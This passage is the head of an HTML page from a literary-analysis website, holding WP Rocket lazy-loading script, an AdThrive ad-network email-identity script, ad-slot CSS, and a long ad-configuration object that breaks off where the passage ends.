1<!DOCTYPE html> 2<html lang="en-US" prefix="og: https://ogp.me/ns#"> 3<head><meta charset="UTF-8">
3<script>if(navigator.userAgent.match(/MSIE|Internet Explorer/i)||navigator.userAgent.match(/Trident\/7\..*?rv:11/i)){var href=document.location.href;if(!href.match(/[?&]nowprocket/)){if(href.indexOf("?")==-1){if(href.indexOf("#")==-1){document.location.href=href+"?nowprocket=1"}else{document.location.href=href.replace("#","?nowprocket=1#")}}else{if(href.indexOf("#")==-1){document.location.href=href+"&nowprocket=1"}else{document.location.href=href.replace("#","&nowprocket=1#")}}}}</script>
3<script>class RocketLazyLoadScripts{constructor(){this.v="1.2.6",this.triggerEvents=["keydown","mousedown","mousemove","touchmove","touchstart","touchend","wheel"],this.userEventHandler=this._triggerListener.bind(this),this.touchStartHandler=this._onTouchStart.bind(this),this.touchMoveHandler=this._onTouchMove.bind(this),this.touchEndHandler=this._onTouchEnd.bind(this),this.clickHandler=this._onClick.bind(this),this.interceptedClicks=[],this.interceptedClickListeners=[],this._interceptClickListeners(this),window.addEventListener("pageshow",t=>{this.persisted=t.persisted,this.everythingLoaded&&this._triggerLastFunctions()}),this.CSPIssue=sessionStorage.getItem("rocketCSPIssue"),document.addEventListener("securitypolicyviolation",t=>{this.CSPIssue||"script-src-elem"!==t.violatedDirective||"data"!==t.blockedURI||(this.CSPIssue=!0,sessionStorage.setItem("rocketCSPIssue",!0))}),document.addEventListener("DOMContentLoaded",()=>{this._preconnect3rdParties()}),this.delayedScripts={normal:[],async:[],defer:[]},this.trash=[],this.allJQueries=[]}_addUserInteractionListener(t){if(document.hidden){t._triggerListener();return}this.triggerEvents.forEach(e=>window.addEventListener(e,t.userEventHandler,{passive:!0})),window.addEventListener("touchstart",t.touchStartHandler,{passive:!0}),window.addEventListener("mousedown",t.touchStartHandler),document.addEventListener("visibilitychange",t.userEventHandler)}_removeUserInteractionListener(){this.triggerEvents.forEach(t=>window.removeEventListener(t,this.userEventHandler,{passive:!0})),document.removeEventListener("visibilitychange",this.userEventHandler)}_onTouchStart(t){"HTML"!==t.target.tagName&&(window.addEventListener("touchend",this.touchEndHandler),window.addEventListener("mouseup",this.touchEndHandler),window.addEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.addEventListener("mousemove",this.touchMoveHandler),t.target.addEventListener("click",this.clickHandler),this._disableOtherEventListeners(t.target,!0),this._renameDOMAttribute(t.target,"onclick","rocket-onclick"),this._pendingClickStarted())}_onTouchMove(t){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler),t.target.removeEventListener("click",this.clickHandler),this._disableOtherEventListeners(t.target,!1),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this._pendingClickFinished()}_onTouchEnd(){window.removeEventListener("touchend",this.touchEndHandler),window.removeEventListener("mouseup",this.touchEndHandler),window.removeEventListener("touchmove",this.touchMoveHandler,{passive:!0}),window.removeEventListener("mousemove",this.touchMoveHandler)}_onClick(t){t.target.removeEventListener("click",this.clickHandler),this._disableOtherEventListeners(t.target,!1),this._renameDOMAttribute(t.target,"rocket-onclick","onclick"),this.interceptedClicks.push(t),t.preventDefault(),t.stopPropagation(),t.stopImmediatePropagation(),this._pendingClickFinished()}_replayClicks(){window.removeEventListener("touchstart",this.touchStartHandler,{passive:!0}),window.removeEventListener("mousedown",this.touchStartHandler),this.interceptedClicks.forEach(t=>{t.target.dispatchEvent(new MouseEvent("click",{view:t.view,bubbles:!0,cancelable:!0}))})}_interceptClickListeners(t){EventTarget.prototype.addEventListenerWPRocketBase=EventTarget.prototype.addEventListener,EventTarget.prototype.addEventListener=function(e,i,r){"click"!==e||t.windowLoaded||i===t.clickHandler||t.interceptedClickListeners.push({target:this,func:i,options:r}),(this||window).addEventListenerWPRocketBase(e,i,r)}}_disableOtherEventListeners(t,e){this.interceptedClickListeners.forEach(i=>{i.target===t&&(e?t.removeEventListener("click",i.func,i.options):t.addEventListener("click",i.func,i.options))}),t.parentNode!==document.documentElement&&this._disableOtherEventListeners(t.parentNode,e)}_waitForPendingClicks(){return new Promise(t=>{this._isClickPending?this._pendingClickFinished=t:t()})}
3_pendingClickStarted(){this._isClickPending=!0}_pendingClickFinished(){this._isClickPending=!1}_renameDOMAttribute(t,e,i){t.hasAttribute&&t.hasAttribute(e)&&(event.target.setAttribute(i,event.target.getAttribute(e)),event.target.removeAttribute(e))}_triggerListener(){this._removeUserInteractionListener(this),"loading"===document.readyState?document.addEventListener("DOMContentLoaded",this._loadEverythingNow.bind(this)):this._loadEverythingNow()}_preconnect3rdParties(){let t=[];document.querySelectorAll("script[type=rocketlazyloadscript][data-rocket-src]").forEach(e=>{let i=e.getAttribute("data-rocket-src");if(i&&!i.startsWith("data:")){0===i.indexOf("//")&&(i=location.protocol+i);try{let r=new URL(i).origin;r!==location.origin&&t.push({src:r,crossOrigin:e.crossOrigin||"module"===e.getAttribute("data-rocket-type")})}catch(s){}}}),t=[...new Map(t.map(t=>[JSON.stringify(t),t])).values()],this._batchInjectResourceHints(t,"preconnect")}async _loadEverythingNow(){this.lastBreath=Date.now(),this._delayEventListeners(this),this._delayJQueryReady(this),this._handleDocumentWrite(),this._registerAllDelayedScripts(),this._preloadAllScripts(),await this._loadScriptsFromList(this.delayedScripts.normal),await this._loadScriptsFromList(this.delayedScripts.defer),await this._loadScriptsFromList(this.delayedScripts.async);try{await this._triggerDOMContentLoaded(),await this._pendingWebpackRequests(this),await this._triggerWindowLoad()}catch(t){console.error(t)}window.dispatchEvent(new Event("rocket-allScriptsLoaded")),this.everythingLoaded=!0,this._waitForPendingClicks().then(()=>{this._replayClicks()}),this._emptyTrash()}_registerAllDelayedScripts(){document.querySelectorAll("script[type=rocketlazyloadscript]").forEach(t=>{t.hasAttribute("data-rocket-src")?t.hasAttribute("async")&&!1!==t.async?this.delayedScripts.async.push(t):t.hasAttribute("defer")&&!1!==t.defer||"module"===t.getAttribute("data-rocket-type")?this.delayedScripts.defer.push(t):this.delayedScripts.normal.push(t):this.delayedScripts.normal.push(t)})}async _transformScript(t){if(await this._littleBreath(),!0===t.noModule&&"noModule"in HTMLScriptElement.prototype){t.setAttribute("data-rocket-status","skipped");return}return new Promise(e=>{let i;function r(){(i||t).setAttribute("data-rocket-status","executed"),e()}try{if(navigator.userAgent.indexOf("Firefox/")>0||""===navigator.vendor||this.CSPIssue)i=document.createElement("script"),[...t.attributes].forEach(t=>{let e=t.nodeName;"type"!==e&&("data-rocket-type"===e&&(e="type"),"data-rocket-src"===e&&(e="src"),i.setAttribute(e,t.nodeValue))}),t.text&&(i.text=t.text),i.hasAttribute("src")?(i.addEventListener("load",r),i.addEventListener("error",function(){i.setAttribute("data-rocket-status","failed-network"),e()}),setTimeout(()=>{i.isConnected||e()},1)):(i.text=t.text,r()),t.parentNode.replaceChild(i,t);else{let s=t.getAttribute("data-rocket-type"),n=t.getAttribute("data-rocket-src");s?(t.type=s,t.removeAttribute("data-rocket-type")):t.removeAttribute("type"),t.addEventListener("load",r),t.addEventListener("error",i=>{this.CSPIssue&&i.target.src.startsWith("data:")?(console.log("WPRocket: data-uri blocked by CSP -> fallback"),t.removeAttribute("src"),this._transformScript(t).then(e)):(t.setAttribute("data-rocket-status","failed-network"),e())}),n?(t.removeAttribute("data-rocket-src"),t.src=n):t.src="data:text/javascript;base64,"+window.btoa(unescape(encodeURIComponent(t.text)))}}catch(a){t.setAttribute("data-rocket-status","failed-transform"),e()}})}async _loadScriptsFromList(t){let e=t.shift();return e&&e.isConnected?(await this._transformScript(e),this._loadScriptsFromList(t)):Promise.resolve()}_preloadAllScripts(){this._batchInjectResourceHints([...this.delayedScripts.normal,...this.delayedScripts.defer,...this.delayedScripts.async],"preload")}_batchInjectResourceHints(t,e){var i=document.createDocumentFragment();t.forEach(t=>{let r=t.getAttribute&&t.getAttribute("data-rocket-src")||t.src;if(r&&!r.startsWith("data:")){let s=document.createElement("link");s.href=r,s.rel=e,"preconnect"!==e&&(s.as="script"),t.getAttribute&&"module"===t.getAttribute("data-rocket-type")&&(s.crossOrigin=!0),t.crossOrigin&&(s.crossOrigin=t.crossOrigin),t.integrity&&(s.integrity=t.integrity),i.appendChild(s),this.trash.push(s)}}),document.head.appendChild(i)}_delayEventListeners(t){let e={};function i(i,r){return e[r].eventsToRewrite.indexOf(i)>=0&&!t.everythingLoaded?"rocket-"+i:i}function r(t,r){var s;!e[s=t]&&(e[s]={originalFunctions:{add:s.addEventListener,remove:s.removeEventListener},eventsToRewrite:[]},s.addEventListener=function(){arguments[0]=i(arguments[0],s),e[s].originalFunctions.add.apply(s,arguments)},s.removeEventListener=function(){arguments[0]=i(arguments[0],s),e[s].originalFunctions.remove.apply(s,arguments)}),e[t].eventsToRewrite.push(r)}function s(e,i){let r=e[i];e[i]=null,Object.defineProperty(e,i,{get:()=>r||function(){},set(s){t.everythingLoaded?r=s:e["rocket"+i]=r=s}})}r(document,"DOMContentLoaded"),r(window,"DOMContentLoaded"),r(window,"load"),r(window,"pageshow"),r(document,"readystatechange"),s(document,"onreadystatechange"),s(window,"onload"),s(window,"onpageshow");try{Object.defineProperty(document,"readyState",{get:()=>t.rocketReadyState,set(e){t.rocketReadyState=e},configurable:!0}),document.readyState="loading"}catch(n){console.log("WPRocket DJE readyState conflict, bypassing")}}_delayJQueryReady(t){let e;function i(e){return t.everythingLoaded?e:e.split(" ").map(t=>"load"===t||0===t.indexOf("load.")?"rocket-jquery-load":t).join(" ")}function r(r){function s(t){let e=r.fn[t];r.fn[t]=r.fn.init.prototype[t]=function(){return this[0]===window&&("string"==typeof arguments[0]||arguments[0]instanceof String?arguments[0]=i(arguments[0]):"object"==typeof arguments[0]&&Object.keys(arguments[0]).forEac
3h(t=>{let e=arguments[0][t];delete arguments[0][t],arguments[0][i(t)]=e})),e.apply(this,arguments),this}}r&&r.fn&&!t.allJQueries.includes(r)&&(r.fn.ready=r.fn.init.prototype.ready=function(e){return t.domReadyFired?e.bind(document)(r):document.addEventListener("rocket-DOMContentLoaded",()=>e.bind(document)(r)),r([])},s("on"),s("one"),t.allJQueries.push(r)),e=r}r(window.jQuery),Object.defineProperty(window,"jQuery",{get:()=>e,set(t){r(t)}})}async _pendingWebpackRequests(t){let e=document.querySelector("script[data-webpack]");async function i(){return new Promise(t=>{e.addEventListener("load",t),e.addEventListener("error",t)})}e&&(await i(),await t._requestAnimFrame(),await t._pendingWebpackRequests(t))}async _triggerDOMContentLoaded(){this.domReadyFired=!0;try{document.readyState="interactive"}catch(t){}await this._littleBreath(),document.dispatchEvent(new Event("rocket-readystatechange")),await this._littleBreath(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this._littleBreath(),document.dispatchEvent(new Event("rocket-DOMContentLoaded")),await this._littleBreath(),window.dispatchEvent(new Event("rocket-DOMContentLoaded"))}async _triggerWindowLoad(){try{document.readyState="complete"}catch(t){}await this._littleBreath(),document.dispatchEvent(new Event("rocket-readystatechange")),await this._littleBreath(),document.rocketonreadystatechange&&document.rocketonreadystatechange(),await this._littleBreath(),window.dispatchEvent(new Event("rocket-load")),await this._littleBreath(),window.rocketonload&&window.rocketonload(),await this._littleBreath(),this.allJQueries.forEach(t=>t(window).trigger("rocket-jquery-load")),await this._littleBreath();let e=new Event("rocket-pageshow");e.persisted=this.persisted,window.dispatchEvent(e),await this._littleBreath(),window.rocketonpageshow&&window.rocketonpageshow({persisted:this.persisted}),this.windowLoaded=!0}_triggerLastFunctions(){document.onreadystatechange&&document.onreadystatechange(),window.onload&&window.onload(),window.onpageshow&&window.onpageshow({persisted:this.persisted})}_handleDocumentWrite(){let t=new Map;document.write=document.writeln=function(e){let i=document.currentScript;i||console.error("WPRocket unable to document.write this: "+e);let r=document.createRange(),s=i.parentElement,n=t.get(i);void 0===n&&(n=i.nextSibling,t.set(i,n));let a=document.createDocumentFragment();r.setStart(a,0),a.appendChild(r.createContextualFragment(e)),s.insertBefore(a,n)}}async _littleBreath(){Date.now()-this.lastBreath>45&&(await this._requestAnimFrame(),this.lastBreath=Date.now())}async _requestAnimFrame(){return document.hidden?new Promise(t=>setTimeout(t)):new Promise(t=>requestAnimationFrame(t))}_emptyTrash(){this.trash.forEach(t=>t.remove())}static run(){let t=new RocketLazyLoadScripts;t._addUserInteractionListener(t)}}RocketLazyLoadScripts.run();</script>
3 4 5
5<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}(); 6</script>
6<style data-no-optimize="1" data-cfasync="false"> 7 .adthrive-ad { 8 margin-top: 10px; 9 margin-bottom: 10px; 10 text-align: center; 11 overflow-x: visible; 12 clear: both; 13 line-height: 0; 14 } 15 .adthrive-header { 16margin-bottom:0!important; 17padding-bottom: 10px; 18min-height: 250px !important; 19} 20 21body.page-id-41555 .adthrive-header { 22margin-top: 0px!important; 23padding-top: 15px!important; 24padding-bottom: 0px!important; 25} 26 27/* for sticky SB9 */ 28.adthrive-sidebar.adthrive-stuck { 29margin-top: 52px; 30z-index: 999 !important; 31} 32/* for sticky SB1-5 */ 33.adthrive-sticky-sidebar > div { 34top: 52px!important; 35} 36 37body.adthrive-device-phone .adthrive-player-position.adthrive-collapse-mobile.adthrive-collapse-top-center, body.adthrive-device-phone .adthrive-collapse-mobile-background { 38 z-index: 99 !important; 39} 40 41.adthrive-device-phone .second-nav.grid-container.hide-on-desktop.hide-on-tablet { 42z-index: 4!important; 43} 44 45/* Top Center Background AB Test CONTROL https://raptive.zendesk.com/agent/tickets/341637 */ 46body:not(.playlist-background-test) .adthrive-collapse-mobile-background { 47background-color: #1B73BE!important; 48} 49/* END top center background */ 50 51/* Top Center Background AB Test TEST https://raptive.zendesk.com/agent/tickets/341637 */ 52body.playlist-background-test-2 .adthrive-collapse-mobile-background { 53background-color: #262626!important; 54} 55/* END top center background */ 56 57/* fix video not showing ZD 305590 */ 58div[id^="cls-video-container"] { 59min-width: 100%; 60} 61</style>
62<script data-no-optimize="1" data-cfasync="false"> 63 window.adthriveCLS = { 64 enabledLocations: ['Content', 'Recipe'], 65 injectedSlots: [], 66 injectedFromPlugin: true, 67 branch: '6f1ed98',bucket: 'prod', }; 68 window.adthriveCLS.siteAds = {"betaTester":true,"targeting":[{"value":"61532d54e7dc44ae79fa4c76","key":"siteId"},{"value":"6233884dd1978a708810796f","key":"organizationId"},{"value":"Book Analysis","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Education"],"key":"verticals"}],"siteUrl":"https://bookanalysis.com","siteId":"61532d54e7dc44ae79fa4c76","siteName":"Book Analysis","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":{"version":"b770817"},"adUnits":[{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Header"],"key":"location"}],"devices":["desktop","tablet"],"name":"Header","sticky":false,"location":"Header","dynamic":{"pageSelector":"body:not(.home):not(.page-id-41555):not(.page-id-57782):not(.archive.author):not(.no-ads-class):not(.members):not
68(.page-id-112615)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".site-content","skip":0,"classNames":[],"position":"beforebegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[320,50],[468,60],[970,90],[1,1],[320,100],[970,250],[300,50],[728,250]],"priority":399,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Header"],"key":"location"}],"devices":["desktop","tablet"],"name":"Header","sticky":false,"location":"Header","dynamic":{"pageSelector":"body.search","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"#masthead","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[970,250],[970,90],[468,60],[320,50],[320,100],[1,1],[300,50],[728,250]],"priority":399,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Header"],"key":"location"}],"devices":["desktop","tablet"],"name":"Header","sticky":false,"location":"Header","dynamic":{"pageSelector":"body.page-id-41555","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".entry-content .gb-container-84b7f13f","skip":0,"classNames":[],"position":"afterbegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[320,50],[468,60],[970,90],[1,1],[320,100],[970,250],[300,50],[728,250]],"priority":399,"autosize":true},{"sequence":1,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"}],"devices":["desktop"],"name":"Sidebar_1","sticky":false,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.no-ads-class):not(.activity):not(.members):not
68(.groups):not(.page-id-112615)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".inside-right-sidebar > *","skip":0,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[300,250],[250,250],[300,600],[120,240],[160,600],[300,1050],[336,280],[320,50],[320,100],[1,1],[300,420],[300,50]],"priority":299,"autosize":true},{"sequence":9,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop"],"name":"Sidebar_9","sticky":true,"location":"Sidebar","dynamic":{"pageSelector":"body:not(.no-ads-class):not(.activity):not(.members):not(.groups):not(.page-id-112615)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"#right-sidebar","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":".site-footer","adSizes":[[300,250],[250,250],[300,600],[120,240],[160,600],[300,1050],[336,280],[320,50],[320,100],[1,1],[300,420],[300,50]],"priority":291,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.no-ads-class)","spacing":0.75,"max":7,"lazyMax":92,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]) + *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]):not(.wp-block-image):not(.wp-block-gallery), .entry-content .rank-math-list-item","skip":2,"classNames":[],"position":"beforebegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.no-ads-class)","spacing":0.7,"max":9,"lazyMax":90,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]) + *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]):not(.wp-block-image):not(.wp-block-gallery), .entry-content .rank-math-list-item","skip":2,"classNames":[],"position":"beforebegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single:not(.no-ads-class)","spacing":0.75,"max":8,"lazyMax":91,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]) + *:not(h2):not(h3):not(h4):not(.rank-math-block):not([id=\"cls-video-container\"]):not(.wp-block-image):not(.wp-block-gallery), .entry-content .rank-math-list-item","skip":2,"classNames":[],"position":"beforebegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.search","spacing":0.85,"max":8,"lazyMax":12,"enable":true,"lazy":true,"elementSelector":"#main article","skip":3,"classNames":[],"position":"afterend","every":3,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[3
6800,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.archive:not(.author):not(.no-ads-class)","spacing":0.85,"max":8,"lazyMax":12,"enable":true,"lazy":true,"elementSelector":".inside-article.taxonomy-description > *:not(h2):not(h3), .category-description > *:not(h2):not(h3)","skip":4,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.archive.author","spacing":0.85,"max":8,"lazyMax":12,"enable":true,"lazy":true,"elementSelector":".site-main > article:nth-of-type(3n)","skip":0,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[970,90],[1,1],[300,300],[552,334],[300,50],[728,250],[970,250],[1,2]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Below Post"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Below_Post","sticky":false,"location":"Below Post","dynamic":{"pageSelector":"body:not(.no-ads-class):not(.activity):not(.members):not
68(.groups):not(.page-id-112615)","spacing":1,"max":0,"lazyMax":10,"enable":true,"lazy":true,"elementSelector":".author-box, #main > article, .wpd-thread-list > .comment","skip":0,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[120,240],[250,250],[300,250],[320,50],[320,100],[336,280],[468,60],[728,90],[1,1]],"priority":99,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","tablet","phone"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"body:not(.no-ads-class):not(.members):not(.page-id-112615)","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.2,"onePerViewport":false},"pageOverrides":[{"mobile":{"adDensity":0.22,"onePerViewport":false},"note":"Enabled 6/24/24: https://raptive.zendesk.com/agent/tickets/332788","pageSelector":"body.members","desktop":{"adDensity":0.22,"onePerViewport":false}},{"mobile":{"adDensity":0.2,"onePerViewport":false},"note":"https://raptive.zendesk.com/agent/tickets/391785","pageSelector":"body.density-test","desktop":{"adDensity":0.2,"onePerViewport":false}}],"desktop":{"adDensity":0.2,"onePerViewport":false}},"adDensityEnabled":true,"dynamicAdDensityLayout":{"mobile":0.3,"desktop":0.3},"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":false,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":false,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":1800,"enabled":true,"blockedSelectors":[]}},"footerCloseButton":false,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":[],"stickyHeaderSelectors":[],"content":{"minHeight":null,"enabled":false},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"siteEmailServiceProviderId":null,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false,"newsletterPromptEnabled":false,"conservativeGatingLogicEnabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"15334810","rubicon":true,"restartStickyVideoPlayersAfterClose":false,"conversant":true,"openx":true,"customCreativeEnabled":true,"mobileHeaderHeight":1,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"gumgum":true,"comscoreFooter"
68:true,"desktopInterstitial":false,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":false,"ozone":true,"isAutoOptimized":false,"trustx":true,"comscoreTAL":true,"disabledPagesConfig":{"rules":[]},"onetag":true,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":true}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":false,"interstitialBlockedPageSelectors":"","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"comscore":"General","blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":45,"mobileEnabled":true,"desktopValue":90},"mobileInterstitial":false,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","cosm","dat","gamc","gamv","pol","rel","sst","ssr","srh","ske","tob","wtl"],"liveRamp":true,"mobileInterstitialBlockedPageSelectors":"","adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Education"],"inImage":false,"stackadapt":true,"usCMP":{"enabled":false,"regions":[]},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":false,"delayLoading":false,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"featureRollouts":{"disable-restart-sticky-video-inactive":{"featureRolloutId":51,"data":null,"enabled":true},"enable-sticky-related":{"featureRolloutId":47,"data":null,"enabled":true}},"organizationData":{"organizationId":"6233884dd1978a708810796f","multiSiteOrg":true},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":true,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":".site-footer","contentSpecificPlaylists":[{"isDraft":false,"playlistId":"WXO2iaPY","categories":["1984"],"shuffle":false},{"isDraft":false,"playlistId":"CX8PC11a","categories":["romeo-and-juliet","henry-viii